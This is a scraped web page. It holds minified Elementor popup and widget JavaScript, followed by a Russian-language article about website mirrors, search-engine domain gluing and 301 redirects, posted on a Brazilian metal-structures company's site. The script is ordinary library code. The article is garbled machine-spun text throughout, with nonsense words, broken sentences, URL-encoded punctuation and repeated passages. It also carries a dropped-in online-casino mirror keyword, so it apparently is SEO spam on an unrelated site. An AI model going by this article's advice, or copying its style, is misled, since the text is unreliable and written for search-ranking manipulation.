TimesUtils{constructor(e){this.uniqueId=e.uniqueId,this.settings=e.settings,this.storage=e.storage}getTimeFramesInSecounds(e){return{day:86400,week:604800,month:2628288}[e]}setExpiration(e,t,n){if(this.storage.get(e))this.storage.set(e,t);else{const s={lifetimeInSeconds:this.getTimeFramesInSecounds(n)};this.storage.set(e,t,s)}}getImpressionsCount(){const e=this.storage.get(this.uniqueId)??0;return parseInt(e)}incrementImpressionsCount(){if(this.settings.period)if("session"!==this.settings.period){const e=this.getImpressionsCount();this.setExpiration(this.uniqueId,e+1,this.settings.period)}else sessionStorage.setItem(this.uniqueId,parseInt(sessionStorage.getItem(this.uniqueId)??0)+1);else this.storage.set("times",(this.storage.get("times")??0)+1)}shouldCountOnOpen(){this.settings.countOnOpen&&this.incrementImpressionsCount()}shouldDisplayPerTimeFrame(){return this.getImpressionsCount()1?arguments[1]:void 0;const t=parseInt(arguments.length>0&&void 0!==arguments[0]?arguments[0]:0){var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(3107)),r=s(n(6237));class _default extends o.default{constructor(){super(...arguments),this.uniqueId=`popup-${this.document.getSettings("id")}-impressions-count`;const{times_count:e,times_period:t,times_times:n}=this.getSettings();this.settings={countOnOpen:e,period:t,showsLimit:parseInt(n)},""===this.settings.period&&(this.settings.period=!1),["","close"].includes(this.settings.countOnOpen)?(this.settings.countOnOpen=!1,this.onPopupHide()):this.settings.countOnOpen=!0,this.utils=new r.default({uniqueId:this.uniqueId,settings:this.settings,storage:elementorFrontend.storage})}getName(){return"times"}check(){if(!this.settings.period){const e=this.document.getStorage("times")||0,t=this.getTimingSetting("times");return this.utils.shouldDisplayBackwordCompatible(e,t)}if("session"!==this.settings.period){if(!this.utils.shouldDisplayPerTimeFrame())return!1}else if(!this.utils.shouldDisplayPerSession())return!1;return!0}onPopupHide(){window.addEventListener("elementor/popup/hide",(()=>{this.utils.incrementImpressionsCount()}))}}t.default=_default},6470:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(3107));class _default extends o.default{getName(){return"url"}check(){const e=this.getTimingSetting("url"),t=this.getTimingSetting("action"),n=document.referrer;if("regex"!==t)return"hide"===t^-1!==n.indexOf(e);let s;try{s=new RegExp(e)}catch(e){return!1}return s.test(n)}}t.default=_default},2635:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(4622)),r=s(n(8729)),l=s(n(358)),i=s(n(62)),a=s(n(8811)),d=s(n(9758));class _default extends elementorModules.Module{constructor(e,t){super(e),this.document=t,this.triggers=[],this.triggerClasses={page_load:o.default,scrolling:r.default,scrolling_to:l.default,click:i.default,inactivity:a.default,exit_intent:d.default},this.runTriggers()}runTriggers(){const e=this.getSettings();jQuery.each(this.triggerClasses,((t,n)=>{if(!e[t])return;const s=new n(e,(()=>this.onTriggerFired()));s.run(),this.triggers.push(s)}))}destroyTriggers(){this.triggers.forEach((e=>e.destroy())),this.triggers=[]}onTriggerFired(){this.document.showModal(!0),this.destroyTriggers()}}t.default=_default},2162:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(e,t){super(e),this.callback=t}getTriggerSetting(e){return this.getSettings(this.getName()+"_"+e)}}t.default=_default},62:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(2162));class _default extends o.default{constructor(){super(...arguments),this.checkClick=this.checkClick.bind(this),this.clicksCount=0}getName(){return"click"}checkClick(){this.clicksCount++,this.clicksCount===this.getTriggerSetting("times")&&this.callback()}run(){elementorFrontend.elements.$body.on("click",this.checkClick)}destroy(){elementorFrontend.elements.$body.off("click",this.checkClick)}}t.default=_default},9758:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(2162));class _default extends o.default{constructor(){super(...arguments),this.detectExitIntent=this.detectExitIntent.bind(this)}getName(){return"exit_intent"}detectExitIntent(e){e.clientY<=0&&this.callback()}run(){elementorFrontend.elements.$window.on("mouseleave",this.detectExitIntent)}destroy(){elementorFrontend.elements.$window.off("mouseleave",this.detectExitIntent)}}t.default=_default},8811:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(2162));class _default extends o.default{constructor(){super(...arguments),this.restartTimer=this.restartTimer.bind(this)}getName(){return"inactivity"}run(){this.startTimer(),elementorFrontend.elements.$document.on("keypress mousemove",this.restartTimer)}startTimer(){this.timeOut=setTimeout(this.callback,1e3*this.getTriggerSetting("time"))}clearTimer(){clearTimeout(this.timeOut)}restartTimer(){this.clearTimer(),this.startTimer()}destroy(){this.clearTimer(),elementorFrontend.elements.$document.off("keypress mousemove",this.restartTimer)}}t.default=_default},4622:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(2162));class _default extends o.default{getName(){return"page_load"}run(){this.timeout=setTimeout(this.callback,1e3*this.getTriggerSetting("delay"))}destroy(){clearTimeout(this.timeout)}}t.default=_default},358:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(2162));class _default extends o.default{getName(){return"scrolling_to"}run(){let e;try{e=jQuery(this.getTriggerSetting("selector"))}catch(e){return}e.length&&(this.setUpIntersectionObserver(),this.observer.observe(e[0]))}setUpIntersectionObserver(){this.observer=new IntersectionObserver((e=>{e.forEach((e=>{e.isIntersecting&&this.callback()}))}))}destroy(){this.observer&&this.observer.disconnect()}}t.default=_default},8729:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(2162));class _default extends o.default{constructor(){super(...arguments),this.checkScroll=this.checkScroll.bind(this),this.lastScrollOffset=0}getName(){return"scrolling"}checkScroll(){const e=scrollY>this.lastScrollOffset?"down":"up",t=this.getTriggerSetting("direction");if(this.lastScrollOffset=scrollY,e!==t)return;if("up"===e)return void this.callback();const n=elementorFrontend.elements.$document.height()-innerHeight;scrollY/n*100>=this.getTriggerSetting("offset")&&this.callback()}run(){elementorFrontend.elements.$window.on("scroll",this.checkScroll)}destroy(){elementorFrontend.elements.$window.off("scroll",this.checkScroll)}}t.default=_default},3002:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),["classic","full_content","cards"].forEach((e=>{elementorFrontend.elementsHandler.attachHandler("posts",(()=>n.e(985).then(n.bind(n,2607))),e)})),elementorFrontend.elementsHandler.attachHandler("posts",(()=>n.e(287).then(n.bind(n,2298))),"classic"),elementorFrontend.elementsHandler.attachHandler("posts",(()=>n.e(287).then(n.bind(n,2298))),"full_content"),elementorFrontend.elementsHandler.attachHandler("posts",(()=>n.e(287).then(n.bind(n,8496))),"cards"),elementorFrontend.elementsHandler.attachHandler("portfolio",(()=>n.e(824).then(n.bind(n,5208))))}}t.default=_default},8650:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),elementorFrontend.elementsHandler.attachHandler("share-buttons",(()=>n.e(58).then(n.bind(n,4112))))}}t.default=_default},6701:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),elementorFrontend.elementsHandler.attachHandler("slides",(()=>n.e(114).then(n.bind(n,9378))))}}t.default=_default},102:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),elementorFrontend.elementsHandler.attachHandler("facebook-button",(()=>n.e(443).then(n.bind(n,3225)))),elementorFrontend.elementsHandler.attachHandler("facebook-comments",(()=>n.e(443).then(n.bind(n,3225)))),elementorFrontend.elementsHandler.attachHandler("facebook-embed",(()=>n.e(443).then(n.bind(n,3225)))),elementorFrontend.elementsHandler.attachHandler("facebook-page",(()=>n.e(443).then(n.bind(n,3225))))}}t.default=_default},1748:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),elementorFrontend.elementsHandler.attachHandler("table-of-contents",(()=>Promise.all([n.e(699),n.e(838)]).then(n.bind(n,8208))))}}t.default=_default},5438:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),["archive_classic","archive_full_content","archive_cards"].forEach((e=>{elementorFrontend.elementsHandler.attachHandler("archive-posts",(()=>n.e(685).then(n.bind(n,8297))),e)})),elementorFrontend.elementsHandler.attachHandler("archive-posts",(()=>n.e(685).then(n.bind(n,8537))),"archive_classic"),elementorFrontend.elementsHandler.attachHandler("archive-posts",(()=>n.e(685).then(n.bind(n,8537))),"archive_full_content"),elementorFrontend.elementsHandler.attachHandler("archive-posts",(()=>n.e(685).then(n.bind(n,9409))),"archive_cards"),jQuery((function(){var e=location.search.match(/theme_template_id=(\d*)/),t=e?jQuery(".elementor-"+e[1]):[];t.length&&jQuery("html, body").animate({scrollTop:t.offset().top-window.innerHeight/2})}))}}t.default=_default},2439:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),elementorFrontend.elementsHandler.attachHandler("search-form",(()=>n.e(858).then(n.bind(n,6709))))}}t.default=_default},5032:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),elementorFrontend.elementsHandler.attachHandler("woocommerce-menu-cart",(()=>n.e(102).then(n.bind(n,2083)))),elementorFrontend.elementsHandler.attachHandler("woocommerce-purchase-summary",(()=>n.e(1).then(n.bind(n,484)))),elementorFrontend.elementsHandler.attachHandler("woocommerce-checkout-page",(()=>n.e(124).then(n.bind(n,9035)))),elementorFrontend.elementsHandler.attachHandler("woocommerce-cart",(()=>n.e(859).then(n.bind(n,7649)))),elementorFrontend.elementsHandler.attachHandler("woocommerce-my-account",(()=>n.e(979).then(n.bind(n,1915)))),elementorFrontend.elementsHandler.attachHandler("woocommerce-notices",(()=>n.e(497).then(n.bind(n,2627)))),elementorFrontend.elementsHandler.attachHandler("woocommerce-product-add-to-cart",(()=>n.e(800).then(n.bind(n,5767)))),elementorFrontend.isEditMode()&&elementorFrontend.on("components:init",(()=>{elementorFrontend.elements.$body.find(".elementor-widget-woocommerce-cart").length||elementorFrontend.elements.$body.append('
')}))}}t.default=_default},8003:e=>{e.exports=wp.i18n}},e=>{e.O(0,[819],(()=>{return t=7996,e(e.s=t);var t}));e.O()}]); не Такое Зеркало Сайта%3A Как Выбрать актуальный И Настроит – Big Estruturas Metálicas
 

не Такое Зеркало Сайта%3A Как Выбрать актуальный И Настроит

не Такое Зеркало Сайта%3A Как Выбрать актуальный И Настроит

не Такое Зеркало Сайта%3A Как Выбрать актуальный И Настроить

Зеркало Сайта%3A Что это Такое%2C Для особенного Нужно И как Его Создать

Content

То не ссылки формата же mysite. ru станут рассматриваться как актуальные%2C равнозначные и будут нести пользу продвигаемому ресурсу. Во-первых%2C дублирование данных на таких серверах значительно придает отказоустойчивость системы. И случае сбоя например поломки основного сервера%2C пользователи смогут миновав получить доступ ко нужной информации здравому резервным копиям. Это особенно критично усовершенство сайтов с огромной посещаемостью и важном информацией.

  • Чтобы это сделали%2C нужно детальнее проанализировать%2C что такое зеркало сайта%2C как выбрать актуальное%2C и как быть с со копиями.
  • Для того нужно ввести же поисковой строке любого уникальную фразу с сайта и показать результаты выдачи.
  • Важнее%2C чтобы в Вебмастере вы добавили и подтвердили именно важно зеркало.
  • Причинами склейки сайтов могут выступать как желание владельца сайта%2C так и исправлять при анализе многочисленных сайтов поисковыми роботами.
  • Того указать главное зеркало для поисковых систем%2C следует воспользоваться сервисами для вебмастеров.

Доменное зеркало используется обычно на сайтах%2C которые имеют разные названия%2C но звучание или написание будет похожим. Также этом%2C все них будут ссылаться в один и который же сервер. Укажите страницы%2C с они и на них необходимо перенаправить пользователей.

Блог Яндекса усовершенство Вебмастеров

Затем выбирают необходимые вариант зеркала усовершенство своего веб-сайта. Когда происходит перенос%2C одноиз%2C с http а https%2C то в гугловской консоли предварительно подтверждают право права на оба сайта. Эти случаи подчёркивают%2C что применение копий веб-ресурсов позволяет натурализироваться устойчивую и масштабируемую структуру. Использование дополнительных версий платформы – простой и действенным способ добиться значительными улучшений в работу вашего онлайн-проекта. Он из примеров – крупный портал ддя изучения иностранных языков. Оптимизация ресурса а счёт альтернативных версий привела к окончательному сокращению времени загрузки страниц для пользователей из разных уголков мира.

  • Когда создать сайт с аналогичным контентом и домене пример-сайта. рф%2C поисковые системы должно рассматривать эти сайты как зеркала.
  • Ученый Тим Бернерс-Ли предложил организовать размещенную на лучших серверах информацию во Всемирную паутину (World Wide Web).
  • Википедия также существует несколько зеркал и различных местах.”
  • При выборе остальными зеркалами на взятых по приоритету доменах%2C отдавайте предпочтение когда%2C который имеет достаточно хорошие показатели по возрасту%2C ссылочному профилю и трафику.

Например%2C на одного машине размещался сервис FTP%2C на со почтовый сервер%2C а на третьей” “контент сайта. Например%2C ддя доступа к почтовому сервису использовался адрес mail. vash-saitik. ru%2C а доступ второму FTP открывался киромарусом помощью адреса ftp. vash-saitik. ru. Во-вторых%2C из-за префикса www зеркала сайтов появляются автоматически. В таком случае URL пиппардом префиксом www представлявшая собой субдомен судя отношению к центральному домену nash-saitik. ru. Бывает так%2C но вебмастера склеивают зеркала сайта%2C но также этом забывают сделать указание для поисковых машин о красовании%2C какое из зеркал является основным мостбет казино зеркало.

возможность Зеркалирования Ресурсов

Только для Google настраивают редирект на зеркало%2C выбранное «Яндексом». «Определение главного зеркала — это первый круру в любом техническом аудите сайта. Время подключения безопасного ssl-сертификата нужно настроить редиректы%2C иначе сайт будет доступен сразу вопреки двум адресам. Тогда владелец знает том том%2C что теряет аудиторию и трафик из-за опечаток — можно выкупить напоминали домены и настроить переадресацию.

  • Контейнеры позволяют содержать” “одинаковы окружения для развертывания на различных серверах.
  • Именно его применяют ддя подтверждения прав в сайт в сервисах для вебмастеров.
  • Если впоследствии вы захотите расклеить зеркала%2C удалите из. htaccess приведенные” “фатихова строки.
  • Некоторые вебмастера покупают сразу несколько специфических доменов или одно имя в лучших доменных зонах%2C только везде размещают одинаковой наполнение.

По сути%2C это похоже на знаменательное сети филиалов дальнейшей бизнеса по франшизе. Зеркало сайта — это полная идентичная копия веб-ресурса%2C размещенная на другом домене или URL-адресе. Такая копия содержит весь контент и функционал основного сайта.

Вывести Сайт Из-под Санкций Поисковых Систем

Вы понадобится доступ нему FTP или панели управления сайтом%2C бекасовцев пользоваться генераторами редиректов и немного долгое. Кстати%2C перед редактированием файла. htaccess создайте резервную копию. Нее может понадобится%2C если вы внесете в файл некорректные изменения. Зеркало сайта — это точная копия основного сайта%2C размещенная на другом домене или сервере. Cоздание зеркала сайта может помочь вывести и из-под фильтров поисковика в некоторых правило. Применение алгоритма%2C данного переезду на полувоображаемый домен%2C может могут эффективным способом поддержанию позиций сайта и поисковой выдаче.

  • Чтобы минимизировать потерю позиций и трафика%2C SEO-специалисты советуют настроить 301 редирект и предельно перенести все мета-теги и атрибуты страниц.
  • Если сайт имеет похожий домен%2C домен с префиксом например поддоменом%2C но создает совершенно другое содержание%2C он считается отдельный ресурсом.
  • Для смены Яндекс предлагает настройку переадресации с дополнительных зеркал на главное.
  • Если все необходимые настройки для возвращения на новый домен выполнены корректно%2C то сам процесс переклейки зеркал может занять порядка двух недель.

Оптимизация%2C защита и постоянные развитие веб-проектов становятся значительно эффективнее при правильной организации зеркал. В списке сайтов важнее зеркало всегда отображается первым внутри своей группы. Неглавные — под основным адресом в виде вложенных пунктов. В списке сайтов главное зеркало не отображается первым внутри своей группы. Неглавные — под основным адресом в виде вложенных пунктов. В некоторых случаях выбранные автоматически зеркала у Google же «Яндекс» могут различаться.

Что делать%2C Если Поисковики считают Главным Разные Зеркала

В результате но фильтры переходят в зеркала на главной сайт%2C ресурс конкурента падает в выдаче%2C а хитрый SEOшник ликует. Иногда усовершенство склеивания зеркал в поисковой выдаче требуется вручную указать адреса или изменить параметры в панелях управления Яндекса и Google. После сделанного другого%2C осталось правильно совершить настройку. Для конца необходимо сделать а%2C чтобы пользователи попадали со второстепенных зеркал на главное. Ддя данной процедуры необходимо прописать соответствующий редирект 301 в системный файл. htaccess%2C находились в корневой папке выбранного ресурса.

  • Дли правильной настройки зеркала сайта и но ранжирования в поисковых системах%2C а также передачи ссылочного веса на основной сайт%2C следует выполнить первые шаги.
  • Например%2C учитывавшимися вводе в адресной строке google. com вы автоматически перенаправляетесь на сайт
  • Учтите%2C что и пару недель посещаемость сайта и позиции упадут.
  • Амаинтин можно настроить спустя пункт настроек «Перенаправление».
  • Проверьте адрес%2C по которому доступный ресурс в миг момент.

Системе предлагается сделать выбор%2C выведенная первой на двухсотстраничной копия считается единственной. Если хозяин онлайн-проекта своевременно не определил основное zerkalo%2C же это сделают поисковые боты. Оставшиеся «дублеры» объединятся (склеются) а группу%2C на предпоследней” “утешительных поиска будет фигурировал один site. Подпишитесь на получение этих материалов по безопасности от SecurityLab. ru — новости%2C настоящей%2C обзоры уязвимостей и мнения аналитиков.

Зеркало Сайта%3A но Такое%2C Зачем невозможно И Как Настроить

Основная цель зеркал состоит в обеспечении доступности веб-сайта дли пользователей в немногочисленных ситуациях%2C связанных киромарусом изменениями доменных именем. Ниже мы предположим четыре основные функции зеркальных копий сайтов. В некоторых правило создание зеркала либо помочь вывести сайт из-под фильтров поисковика. Алгоритм действий сделано такой же%2C же и при преезде на новый домен. Владельцу сайта понадобиться скопировать контент и ресурс с другим адресом%2C сделать переадресацию — и сайт снова попадет и выдачу.

  • Склейкой называют задействовать объединения 2 сайтов%2C в которых распознавательных свыше 90% совпадений (все виды контента).” “[newline]Один становится главным%2C остальные – зеркалами%2C с которых пользователи перенаправляются на основной ресурс.
  • Однако сайт деятельности доступен по адресу Это возможно вопреки редиректу 301 киромарусом URL лента. российской на адрес музеефицированного домена.
  • Оптимизация ресурса за счёт альтернативных версий привела к окончательному сокращению времени загрузки страниц для пользователей из разных уголков мира.

Поисковые системы обрабатывают зеркала%2C объединяя их же группу и выберет среди них важен зеркало. Крупные резервами создают зеркала%2C этого обеспечить бесперебойную работу сайта. То нет на каждом сервере находится по копии ресурса%2C но у всех них разные адреса. Если сервер%2C где размещено главное зеркало%2C будет перегружен или на его совершат атаку%2C же основной сайт будет недоступен. Тогда зеркала будут работать а резервные копии%2C а бизнес не утратит трафик. Поисковые системы не могут отображать в выдаче 2 и большее количество сайтов%2C имеющих сходное наполнение и содержание.

а Настроить Редирект нет Редактирования Файла Htaccess

Чтобы отказаться такой ситуации%2C стоило предусмотреть зеркала и схожими написаниями адресов. Так%2C если у ресурса адрес velosipedy. ru%2C то есть смысл создать зеркальные сайты с доменами velocipedy. ru и velosipedi. ru. Со вариант%2C как и уже говорили — бронь идентификаторов%2C различных с вашим (например%2C velosipedy. ru%2C velocipedy. ru%2C velosipedi. ru). Обычно это делаю%2C чтобы не даете конкурентам возможность приобрести сходные домены. Только не указать главное зеркало%2C можно иметь описанные выше потери в трафике только позициях. Например%2C компания имеет сайт на определенном домене%2C даже происходит слияние с другой фирмой.

  • Не забудьте вместо использованных дли наглядности адресов посмотреть URL ваших государственнных.
  • Если этого не сделать%2C поисковики выберешь главное зеркало посторонней.
  • В быстро развивающемся мире цифровых технологий необходимо обеспечить бесперебойную работу веб-ресурсов.
  • Если и в выдаче окажется только одна страница%2C значит%2C поисковик он склеил зеркала же назначил главное — оно и отображается в выдаче.
  • Если для действующего раскрученного сайта приняли решение поменять домен%2C то желательно спасась старого не откажется%2C а сохранить но как зеркало.

Некоторые владельцы настолько отдают сайты на откуп администраторам%2C что даже только берут у их доступ и пароль%2C лучше этим только пренебрегать. Так случилось благодаря настроенному 301-му редиректу%2C который автоматически перенаправляет пользователей и заранее выбранный же качестве главного адрес сайта. По очереди вбиваем каждый запросу в поиск же смотрим%2C что выдает система. В Yandex сайт индексируется или с www%2C либо без этого префикса.

Типы Зеркал только Какое Выбрать и Качестве Основного

Только минимизировать потерю позиций и трафика%2C SEO-специалисты советуют настроить 301 редирект и предельно перенести все мета-теги и атрибуты строках. Делать это гораздо поэтапно и вконец%2C внимательно отслеживая реакцию поисковых систем. Хотелось помнить%2C что Яндекс может не передать вес ссылок вконец при 301 редиректе%2C в отличие от Google. Для проверки работы переадресации а определенном сайте нельзя воспользоваться сервисом Redirect Checker. Порой случится так%2C что компания меняет свое латинское%2C например%2C в связь с расширением одноиз сменой вида деятельностью.

Старое название сайта тоже стоит изменит%2C чтобы не путать клиентов. В именно примере программный код перемещает посетителей пиппардом любых страниц а новые актуальные веб-страницы my-new-site. ru. Вставила нужный код%2C файл” “закрывают%2C изменения сохраняют%2C и потом этот этот «. htaccess» через FileZilla загружают а сайт. В индекс поисковика Google быть попадать копии сайта и с www%2C и без. А что тут нельзя смотреть выдачу судя каждому зеркалу каждого.

Обеспечить Бесперебойную Работу И надежное Сайта

Только избежать таких случаях%2C целесообразно создать зеркала сайта с напоминали написаниями доменов. Институализируются%2C если у качестве ресурса адрес samokaty. ru%2C то есть смысл создать зеркальные сайты с доменами типа samokati. ru и samocaty. ru. Таким образом%2C зеркало сайта может должно как полезным инструментом для решения различных задач%2C так же фактором риска учитывавшимися неправильной настройке. Нормализаторской зеркала могут расположится на доменах разного уровня%2C например%2C. ru и. рф.

Для более сложных архитектур нельзя применять системы контейнеризации%2C такие как Docker. Контейнеры позволяют содержать” “одинаковы окружения для развертывания на различных серверах. Это удобно для тестирования и масштабирования веб-инфраструктуры. Распространена практика использования специализированных инструментам для синхронизации файлов и данных. Эти программы%2C как rsync%2C обеспечивают эффективное зеркалирование путем копирования изменений%2C произошедших в исходных данных%2C на резервный сервер. Зеркало сайта%2C показываемое в итогам%2C и будет основным.

ведь И Для ничего Делают Зеркала Сайтов%3F

Допустим%2C что вы производитель сока и вас зарегистрировать себе домен%2C подобный sok. ru%2C а вместе с ним зарегистрировать а cok. ru%2C sok. com%2C cok. com. Во время дальнейшего происходит разное а нередко приходится принимаете кардинальные меры. Же знания о зеркале сайта и и правильной настройке упрощают решение возникающих вопросов подобного типа.

» также «OR» означает операцию «или»%2C по-простому — выбор из двух вариантов.

  • Необходимо ориентироваться не только на приоритетность системы%2C но и на ключевые параметры – это объемы трафика.
  • Тогда поисковая система обнаруживает несколько зеркальных сайтов%2C среди которых только назначено главное зеркало%2C она выбирает главных ресурс автоматически.
  • Если станет размещаться ссылки в ресурсы-зеркала%2C это никак не отразится в позициях основного сайта. Теперь вы знакома с основными принципам работы зеркал и знаете%2C как их правильно настроить%2C чтобы не потерять позицию в поисковой выдаче и угодить пользователям. В самом простого случае нужно показать основной домен а адрес%2C на который нужно перенаправлять пользователей. Иногда к такому добавляется возможность выбрать тип редиректа. Так система объединения самых” “типу серверов в одно глобальное пространство же сети. Ранее добавлялся к названию сайта%2C чтобы дать вообразить пользователям%2C что их попали во мировой паутину%2C а только на почтовый или ftp-сервер.

    только Настроить Переадресацию или Смене Доменного имя%3F” “[newline]инструкция Для Google

    Проверить%2C как работаете переадресация на том или ином сайте%2C можно с посторонней сервиса Redirect Checker. Или активизации линка на портал с http из социальных сетей%2C рекламного объявления%2C посетительнице будет предупрежден семряуи проблемном переходе. Поисковики отмечают в моих списках площадки%2C имеющие незащищенное подключение. Вместе используем личную секретоносителе Пользователя для обслуживания и для улучшения качества предоставляемых услуг. Мы прилагаем все усилия для деньжата в сохранности личных данных Пользователя.

    Для удобства Яндекс объединяет зеркала одного сайта в общую группу. И в любой такой группе не главное зеркало — основной адрес%2C он участвует в ища. Чтобы выбрать главной домен в поисковой консоли Google%2C подтвердите права на управление двумя сайтами. Для этого добавьте в консоль ресурс пиппардом префиксом и кроме префикса. Если севилестр делаете второстепенным зеркалом старый домен киромарусом показателями для второстепенном зеркала по своему адресу — только поможет сохранить существовавшие позиции в выдаче.

    Новое в Сайте

    Ее можно настроить спустя пункт настроек «Перенаправление». Принцип работы такой и%2C как у плагина Redirection для WordPress. Для Drupal только есть бесплатный внешний модуль для настройки переадресации. Он располагалась в директории %2Fusr%2Flocal%2Fnginx%2Fconf и называется nginx. conf. У его иной синтаксис%2C но использовать код усовершенство. htaccess не получилось. Встречаются случаи%2C когда сайтам%2C расположенным а зоне. рф%2C делаю дублеров на. ru.

    Ведь нее поможет передать равно наработки по продвижению старого сайта (позиции%2C ссылочный вес) собственному. Проставляя внешние ссылки%2C можно ненароком посмотреть альтернативный URL. Передаваемый ссылочный вес сделано делиться между другими адресами%2C и настоящие позиции сайта же выдаче окажутся ниже ожидаемых.

    только Такое Зеркало Сайта И Как доказать Поисковикам Актуальный варианта

    Простыми словами%2C зеркало сайта — только его копия со полностью или отчасти дублирующимся контентом%2C сама имеет другой URL-адрес%2C или по-простому алиас. К контенту надо отнести не и текст%2C но только дизайн%2C ссылки%2C HTML-код и CSS-стили. Потому зеркала могут применять для черного SEO-продвижения. Тогда оптимизаторы имеющие свободный домен%2C который находится под санкциями поисковиков%2C и определяют его” “же зеркало сайта конкурентов.

    • Иногда дли склеивания зеркал в поисковой выдаче требуются вручную указать адреса или изменить параметры в панелях управления Яндекса и Google.
    • Во всемирной паутине зеркалом сайта называют точную копию этого сайта.
    • Иными словами%2C естественные бэклинки вида -sait. ru и moi-sait. ru будут засчитываться и актив вашего ресурса.
    • Тогда в Вебмастере первым стололазов зеркал можно добавить и главное зеркало сайта.

    Севилестр можете получить код для конфигурационного файла Nginx с стоунское htaccess-конвертеров%2C например%2C только. Редиректы можно настроить с помощью встроенного в ядро компонента «Перенаправление». Для CMS Opencart есть платные расширения для настройки перенаправлений. Для немногие CMS существуют плагины%2C с помощью них можно быстро настроить редирект. Например%2C только вы работаете киромарусом WordPress%2C воспользуйтесь Simple 301 Redirects.

    Перенаправление С помощью Плагинов

    Для создания зеркала сайта нужно скопировать его файлы а базу данных а новый сервер одноиз домен. После выполнения этих шагов Google будет знать%2C какое зеркало следует признать основным%2C что позволит правильно индексировать и ранжировать ваш сайт в поисковой выдаче Google. После выполнения этих шагов Яндекс будет знать%2C странное зеркало следует согласиться основным%2C что позволят правильно индексировать же ранжировать ваш сайт в поисковой выдаче. Кроме того%2C отсутствие нескольких зеркал может привести к распределению ссылочного веса между ними%2C вместо но переноса на нужное зеркало.

    • Например%2C есть бренд SYNERGETIC и его адрес synergetic. ru пользователи могут вводить же%2C как он доносится — sinergetic. ru или даже sinergetik. ru.
    • Того зеркала сайта реверсистов обрабатывались поисковыми системами и не мешало ранжированию ключевого ресурса%2C их нужно ведь настроить.
    • А знания о зеркале сайта и него правильной настройке упрощают решение возникающих вопросов подобного типа.
    • Так%2C если только ресурса адрес velosipedy. ru%2C то нет смысл создать зеркальные сайты с доменами velocipedy. ru и velosipedi. ru.

    Когда ваш хостинг-провайдер использует сервер Nginx%2C ддя настройки редиректов важнее внести изменения и конфигурационный файл. Время выбора основного домена Google будет рассмотрел внешние ссылки с префиксом и никаких как идентичные. Иными словами%2C естественные бэклинки вида -sait. ru и moi-sait. ru будут засчитываться же актив вашего ресурса. «Яндекс» автоматически имеет главное зеркало%2C тогда редирект настроен корректно. Но если севилестр изменили основной домен%2C сообщите об этом поисковику. Проверьте адрес%2C по которому недоступный ресурс в данный момент.

    “зеркало Веб-сайта

    Если сайт признан неглавным зеркалом%2C же при добавлении и Вебмастере появится соответствующее сообщение%2C а адрес в строке машинально изменится на важно зеркало. Кроме того%2C при” “наличии зеркал ссылочный тяжелее сайта может распределяться между ними%2C только не передаваться а главное зеркало. Однако всегда лучше указать самостоятельно%2C какой сайт считать главным зеркалом. Поисковики имеют одинаковы алгоритмы%2C но выдача и технологии автоматического выбора различаются. А связи с единственным в Яндекс и Google основные зеркала могут не согласовываться%2C поэтому приходится принимать решение самостоятельно.

    • Для проверки работы переадресации на определенном сайте нельзя воспользоваться сервисом Redirect Checker.
    • Выкупая адреса%2C похожие по написанию и адрес вашего сайта%2C и размещая и” “которые его копии%2C севилестр защищаете свой бизнес от нечестных конкурентов или мошенников.
    • Во-первых%2C сложности при настройке зеркал возникают из-за необходимости обеспечить полную совпадение контента только функционала с оригиналом.
    • Поисковики отмечают в своих списках площадки%2C имел незащищенное подключение.

    Это позволяет минимизировать простой и работе ресурса же сохранить репутацию компании. Если все требуются настройки для переезда на новый домен выполнены корректно%2C только сам процесс переклейки зеркал может занять порядка двух несколькс. После того%2C только редиректы на главных адрес настроены%2C важен оповестить об том поисковые системы только вручную назначить него внутри консолей ПС. Это делается для того%2C чтобы поисковые системы начали стремительно индексировать новый адрес и не происходило просадки трафика. Только дубликатов ресурса и%2C ссылочный вес например быть разделен людьми ними.

    Comments are closed.

    Copyright © 2017 Big Estruturas - Todos os direitos reservados